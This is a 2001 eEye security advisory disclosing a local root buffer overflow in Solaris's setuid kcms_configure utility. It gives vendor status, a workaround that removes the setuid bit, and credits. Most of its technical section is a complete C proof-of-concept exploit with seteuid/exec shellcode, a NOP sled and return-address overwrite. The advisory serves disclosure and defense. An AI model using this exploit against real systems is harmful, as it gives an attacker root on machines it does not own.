Solaris kcms_configure vulnerability Release Date:
April 9, 2001

Severity:
Local Root Compromise

Vendor:
Sun Microsystems

Systems Affected:
Solaris 7/8 (x86 and sparc)
Versions prior are also most likely affected

Overview:
It was another long day at eEye where the beer was once again cold but eEye Wudan member Riley decided it was time to do some Solaris spring cleaning. This is the first of a few advisories to be released on various Solaris bugs that were laying around needing to be cleaned out.

We have discovered a buffer overflow in the kcms_configure utility provided with Solaris 7. The problem exists in the parsing of command line options. By exploiting this vulnerability an attacker can achieve local root privileges. The Kodak Color Management System (KCMS) packages have contained many vulnerabilities in the past, we recommend disabling them if you are not currently using them.

Technical Details:
Proof of Concept:
/*
Command line argument overflow
/usr/openwin/bin/kcms_configure

Proof of Concept Exploitation
Riley Hassell of eEye Digital Security
*/

#include
#include
#include
#include

#define BUFLEN 1100

/* seteuid/exec shellcode */
char shell[] =
"\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05\xe8\xf9\xff\xff\xff"
"\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2\x50\xb0\x8d\xe8\xe0\xff\xff\xff"
"\x29\xc0\x50\xb0\x17\xe8\xd6\xff\xff\xff\xeb\x1f\x5e\x8d\x1e\x89\x5e"
"\x0b\x29\xc0\x88\x46\x19\x89\x46\x14\x89\x46\x0f\x89\x46\x07\xb0"
"\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18\xe8\xdc\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03"
"\x03\x9a\x04\x04\x04\x04\x07\x04";

char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;

unsigned long int get_esp() { __asm__("movl %esp,%eax");}

int main (int argc, char *argv[])
{
int i;
if (argc > 1)
offset = strtol(argv[1], NULL, 0);
else
offset = -300;
nop = 600;
esp = get_esp();
memset(buf, 0x90, BUFLEN);
memcpy(buf+600, shell, strlen(shell));
for (i = nop+strlen(shell)+1; i <= BUFLEN-4; i += 4)
*((int *) &buf[i]) = esp+offset;
buf[BUFLEN-1] = '\0';
execl("/usr/openwin/bin/kcms_configure", "eEye", "-o","-S","X",buf,NULL);
return;
}

Vendor Status:
Sun Microsystems has been contacted. They are currently working on patches for this and other related vulnerabilities eEye has discovered. We would like to thank them for working with us on creating a patch for this vulnerability.

Workaround:
chmod –s /usr/openwin/bin/kcms_configure
This will remove the setuid bit from kcms_configure, therefore if someone does exploit this vulnerability, they won’t gain higher privileges.

Credit:
Riley Hassell

Greetings:
ADM, Ryan “shellcode ninja” Permeh, KAM, Lamagra, Zen-Parse, and last but not least… all the kick ass people at Speakeasy.net.

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